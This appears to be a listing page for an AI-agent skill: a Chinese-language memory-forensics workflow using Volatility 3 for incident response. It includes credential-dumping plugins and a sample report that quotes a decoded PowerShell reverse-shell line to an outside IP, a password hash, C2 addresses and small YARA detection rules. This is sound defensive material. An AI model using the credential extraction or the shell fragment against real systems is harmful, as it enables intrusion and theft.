analyzing-memory-dumps-with-volatility
使用 Volatility 框架分析被攻陷系统的 RAM 内存转储,以识别恶意进程、注入代码、 网络连接、加载模块和提取凭据。支持 Windows、Linux 和 macOS 内存取证。 适用于内存取证、RAM 分析、易失性数据检查、进程注入检测或内存驻留恶意软件调查相关请求。
Best use case
analyzing-memory-dumps-with-volatility is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
使用 Volatility 框架分析被攻陷系统的 RAM 内存转储,以识别恶意进程、注入代码、 网络连接、加载模块和提取凭据。支持 Windows、Linux 和 macOS 内存取证。 适用于内存取证、RAM 分析、易失性数据检查、进程注入检测或内存驻留恶意软件调查相关请求。
Teams using analyzing-memory-dumps-with-volatility should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/analyzing-memory-dumps-with-volatility/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How analyzing-memory-dumps-with-volatility Compares
| Feature / Agent | analyzing-memory-dumps-with-volatility | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
使用 Volatility 框架分析被攻陷系统的 RAM 内存转储,以识别恶意进程、注入代码、 网络连接、加载模块和提取凭据。支持 Windows、Linux 和 macOS 内存取证。 适用于内存取证、RAM 分析、易失性数据检查、进程注入检测或内存驻留恶意软件调查相关请求。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 使用 Volatility 分析内存转储
## 适用场景
- 被攻陷系统的 RAM 已被捕获,需要对恶意软件工件进行取证分析
- 检测仅存在于内存中、没有持久化磁盘工件的无文件恶意软件
- 从进程内存中提取加密密钥、密码或解密后的配置
- 识别被攻陷系统中的进程注入、DLL 注入或进程空洞化
- 分析隐藏在标准磁盘取证工具之外的 Rootkit 活动
**不适用于**磁盘镜像分析;请使用 Autopsy、FTK 或 Sleuth Kit 进行磁盘取证。
## 前置条件
- Volatility 3 已安装(`pip install volatility3`),并带有目标操作系统的符号表
- 从目标系统获取的内存转储文件(使用 WinPmem、LiME 或 DumpIt)
- 了解源操作系统版本,用于正确选择配置文件/符号
- 足够的磁盘空间(内存转储可达 4-64 GB)
- 用于扫描内存中已知恶意软件签名的 YARA 规则
- Strings 工具,用于从内存区域提取可读字符串
## 工作流程
### 步骤 1:识别内存转储配置文件
从内存转储中确定操作系统和版本:
```bash
# Volatility 3:自动操作系统检测
vol3 -f memory.dmp windows.info
# 列出可用插件
vol3 -f memory.dmp --help
# 如果需要符号表,从以下地址下载:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# 对于 Volatility 2(旧版):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
```
### 步骤 2:枚举运行中的进程
列出所有进程并识别可疑条目:
```bash
# 列出所有进程
vol3 -f memory.dmp windows.pslist
# 进程树(父子进程关系)
vol3 -f memory.dmp windows.pstree
# 扫描隐藏/未链接的进程(Rootkit 检测)
vol3 -f memory.dmp windows.psscan
# 比较 pslist 和 psscan 以查找隐藏进程
# 在 psscan 中但不在 pslist 中的进程可能被 Rootkit 隐藏
# 检查进程空洞化
vol3 -f memory.dmp windows.pslist --dump
# 然后验证转储的 EXE 是否与磁盘上的预期二进制文件匹配
```
```
可疑进程指标:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe 不是由 services.exe 启动(父进程错误)
- csrss.exe/lsass.exe 具有异常的父进程
- lsass.exe 有多个实例(应该只有一个)
- 进程名称拼写错误(scvhost.exe、lssas.exe)
- cmd.exe 或 powershell.exe 由 WINWORD.EXE 或浏览器启动
- 从异常路径运行的进程(%TEMP%、%APPDATA%)
- 没有父进程的进程(孤立进程 - 父进程已终止)
```
### 步骤 3:检测恶意代码注入
扫描注入的代码和进程空洞化:
```bash
# 检测进程中的注入代码(malfind)
vol3 -f memory.dmp windows.malfind
# malfind 查找:
# - 具有 PAGE_EXECUTE_READWRITE 保护的内存区域
# - 包含 PE 头部(MZ/PE 签名)的内存区域
# - VAD(虚拟地址描述符)异常
# 转储注入的内存区域进行分析
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# 列出每个进程加载的 DLL
vol3 -f memory.dmp windows.dlllist --pid 2184
# 通过比较映射镜像与磁盘检测空洞化进程
vol3 -f memory.dmp windows.hollowfind
# 扫描加载的驱动程序(潜在的 Rootkit 驱动程序)
vol3 -f memory.dmp windows.driverscan
# 列出内核模块
vol3 -f memory.dmp windows.modules
```
### 步骤 4:分析网络连接
提取活动和已关闭的网络连接:
```bash
# 列出所有网络连接(活动和监听)
vol3 -f memory.dmp windows.netscan
# 输出列:偏移量、协议、本地地址、本地端口、外部地址、外部端口、状态、PID、所有者
# 过滤到外部 IP 的已建立连接
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# 对于旧版 Windows(XP/2003):
vol3 -f memory.dmp windows.netstat
# 将 PID 与进程列表交叉验证
# 可疑:svchost.exe 通过非标准端口连接到外部 IP
# 可疑:notepad.exe 或 calc.exe 有网络连接
```
### 步骤 5:提取工件和凭据
从内存中恢复敏感数据:
```bash
# 转储特定 PID 的进程内存
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# 提取命令行历史
vol3 -f memory.dmp windows.cmdline
# 提取环境变量
vol3 -f memory.dmp windows.envars --pid 2184
# 注册表分析(提取 Run 键用于持久化)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# 提取哈希/缓存的凭据
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# 提取剪贴板内容
vol3 -f memory.dmp windows.clipboard
# 从内存提取文件
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
```
### 步骤 6:使用 YARA 规则扫描内存
应用 YARA 签名检测内存中的已知恶意软件:
```bash
# 使用 YARA 规则扫描整个内存转储
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# 扫描特定进程内存
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# 使用常见模式的内置 YARA 扫描
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# 扫描加密密钥材料
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
```
### 步骤 7:时间线和报告生成
创建分析时间线并汇编发现结果:
```bash
# 生成全面的时间线
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# 时间线包含:
# - 进程创建/退出时间
# - 网络连接时间戳
# - 注册表修改时间
# - 文件访问时间
# 导出进程列表用于报告
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# 导出网络连接
vol3 -f memory.dmp windows.netscan --output csv > network.csv
```
## 核心概念
| 术语 | 定义 |
|------|------------|
| **内存取证** | 分析易失性内存(RAM)内容,以识别运行中的进程、网络连接和可能不存在于磁盘上的内存工件 |
| **进程空洞化** | 恶意软件技术,以挂起状态创建合法进程,用恶意代码替换其内存,然后恢复执行 |
| **Malfind** | Volatility 插件,通过识别非镜像 VAD 中具有可执行权限和 PE 头部的内存区域来检测注入代码 |
| **VAD(虚拟地址描述符)** | Windows 内核结构,跟踪分配给进程的内存区域;VAD 中的异常表明注入或空洞化 |
| **EPROCESS** | 表示进程的 Windows 内核结构;Rootkit 通过取消链接 EPROCESS 条目来向标准工具隐藏进程 |
| **池标签扫描** | 内存取证技术,扫描内核对象池标签以查找对象(进程、文件、连接),即使在未链接时也能找到 |
| **无文件恶意软件** | 完全在内存中运行而不在磁盘上创建文件的恶意软件;只能通过内存取证检测 |
## 工具与系统
- **Volatility 3**:开源内存取证框架,支持 Windows、Linux 和 macOS 内存分析,具有插件架构
- **WinPmem**:Windows 系统的内存获取工具,创建原始内存转储用于离线分析
- **LiME(Linux 内存提取器)**:用于捕获 Linux 系统内存转储的可加载内核模块
- **Rekall**:具有一些独特分析能力的替代内存取证框架(已停止维护但仍有用)
- **MemProcFS**:内存进程文件系统,允许将内存转储挂载为文件系统进行直观分析
## 常见场景
### 场景:在 EDR 告警后检测无文件恶意软件
**场景背景**:EDR 检测到可疑的 PowerShell 活动,但威胁者清除了磁盘工件。系统重启前已捕获内存转储。分析需要识别恶意软件、其持久化机制和任何横向移动。
**方法**:
1. 运行 `windows.pstree` 识别进程链(哪个进程启动了 PowerShell)
2. 运行 `windows.malfind` 检测运行中进程中的注入代码
3. 转储可疑进程内存并提取字符串以获取 C2 URL
4. 运行 `windows.netscan` 识别被攻陷进程的网络连接
5. 运行 `windows.cmdline` 查看 PowerShell 执行了什么命令
6. 使用 YARA 规则对转储的进程内存扫描已知恶意软件家族
7. 使用 `hashdump` 和 `lsadump` 提取凭据以评估横向移动风险
**常见陷阱**:
- 使用错误的操作系统版本符号表(导致插件失败或结果不正确)
- 不比较 `pslist` 和 `psscan` 输出(遗漏 Rootkit 隐藏的进程)
- 忽略被注入的合法进程(关注 malfind 结果,而不仅仅是进程名称)
- 在得出结论前未提取完整进程内存(进程转储中的字符串可能揭示额外的 IOC)
## 输出格式
```
内存取证分析报告
===================================
转储文件: memory.dmp
转储大小: 16 GB
操作系统版本: Windows 10 21H2(内部版本 19044)
捕获工具: WinPmem 4.0
捕获时间: 2025-09-15 14:35:00 UTC
可疑进程
PID PPID 名称 路径 异常
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe 路径错误
4012 2184 powershell.exe C:\Windows\System32\powershell.exe 伪造 svchost 的子进程
3456 4012 cmd.exe C:\Windows\System32\cmd.exe 由 PowerShell 启动
检测到代码注入(malfind)
PID 852(explorer.exe):
地址:0x00400000 大小:98304 保护:PAGE_EXECUTE_READWRITE
头部:MZ(检测到嵌入的 PE)
转储 SHA-256:abc123def456...
网络连接
PID 进程 本地 外部 状态
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
提取的凭据
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
命令行历史
PID 4012:powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
解码:$client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA 匹配
PID 2184:rule CobaltStrike_Beacon { matched at 0x00401200 }
时间线
14:10:00 svchost.exe(PID 2184)从 C:\Users\Admin\AppData\Temp\ 创建
14:10:05 建立到 185.220.101.42:443 的网络连接
14:12:30 powershell.exe(PID 4012)由 svchost.exe 启动
14:15:00 检测到对 explorer.exe(PID 852)的代码注入
14:20:00 从 LSASS 进程转储凭据
```Related Skills
performing-memory-forensics-with-volatility3
使用 Volatility 3 分析易失性内存转储,以提取运行中的进程、网络连接、加载的模块以及恶意活动的证据。
performing-memory-forensics-with-volatility3-plugins
使用 Volatility3 插件分析内存转储,检测 Windows、Linux 和 macOS 内存镜像中的注入代码、Rootkit、凭据窃取和恶意软件痕迹。
implementing-memory-protection-with-dep-aslr
实施内存保护机制,包括 DEP(数据执行防护)、ASLR(地址空间布局随机化)、 CFG(控制流防护)和其他漏洞利用缓解措施,以防御内存损坏攻击。适用于加固端点 以抵御缓冲区溢出利用、ROP 链和代码注入的场景。适用于涉及内存保护、漏洞利用缓解、 DEP、ASLR 或 CFG 配置的请求。
extracting-memory-artifacts-with-rekall
使用 Rekall 内存取证框架分析内存转储,检测进程空洞化(process hollowing)、通过 VAD 异常注入的代码、隐藏进程和 rootkit。应用 pslist、psscan、vadinfo、malfind 和 dlllist 等插件从 Windows 内存镜像中提取取证工件。适用于应急响应内存分析场景。
extracting-credentials-from-memory-dump
使用 Volatility 和 Mimikatz 从内存转储中提取缓存的凭据、密码哈希、Kerberos 票据和身份验证令牌,用于取证调查。
conducting-memory-forensics-with-volatility
使用 Volatility 3 执行内存取证分析,从事件响应期间采集的 RAM 转储中提取恶意软件执行、进程注入、网络连接和凭据窃取的证据。涵盖内存采集、进程分析、DLL 检查和恶意软件检测。适用于内存取证、RAM 分析、Volatility 框架、内存转储调查、易失性证据分析或实时内存采集相关请求。
analyzing-windows-shellbag-artifacts
分析 Windows ShellBag 注册表取证痕迹,使用 SBECmd 和 ShellBags Explorer 重建文件夹浏览活动,检测对可移动介质和网络共享的访问,并在删除后仍能确认用户与目录的交互行为。
analyzing-windows-registry-for-artifacts
提取并分析 Windows 注册表配置单元,以发现用户活动、已安装软件、自启动条目及系统入侵证据。
analyzing-windows-prefetch-with-python
使用 windowsprefetch Python 库解析 Windows Prefetch 文件,重建应用程序执行历史,检测重命名或伪装的二进制文件,并识别可疑的程序执行模式。
analyzing-windows-lnk-files-for-artifacts
解析 Windows LNK 快捷方式文件,提取目标路径、时间戳、卷信息和机器标识符,用于取证时间线重建。
analyzing-windows-event-logs-in-splunk
在 Splunk 中分析 Windows Security、System 和 Sysmon 事件日志,使用映射到 MITRE ATT&CK 技术的 SPL 查询检测身份验证攻击、权限提升(Privilege Escalation)、持久化(Persistence)机制和横向移动 (Lateral Movement)。适用于 SOC 分析师调查基于 Windows 的威胁、构建检测查询,或对 Windows 终端和域控制器执行取证时间线分析。
analyzing-windows-amcache-artifacts
解析并分析 Windows Amcache.hve 注册表配置单元(Registry Hive),提取程序执行证据、文件元数据、 SHA-1 哈希及设备连接历史,用于数字取证(Digital Forensics)和事件响应(Incident Response)调查。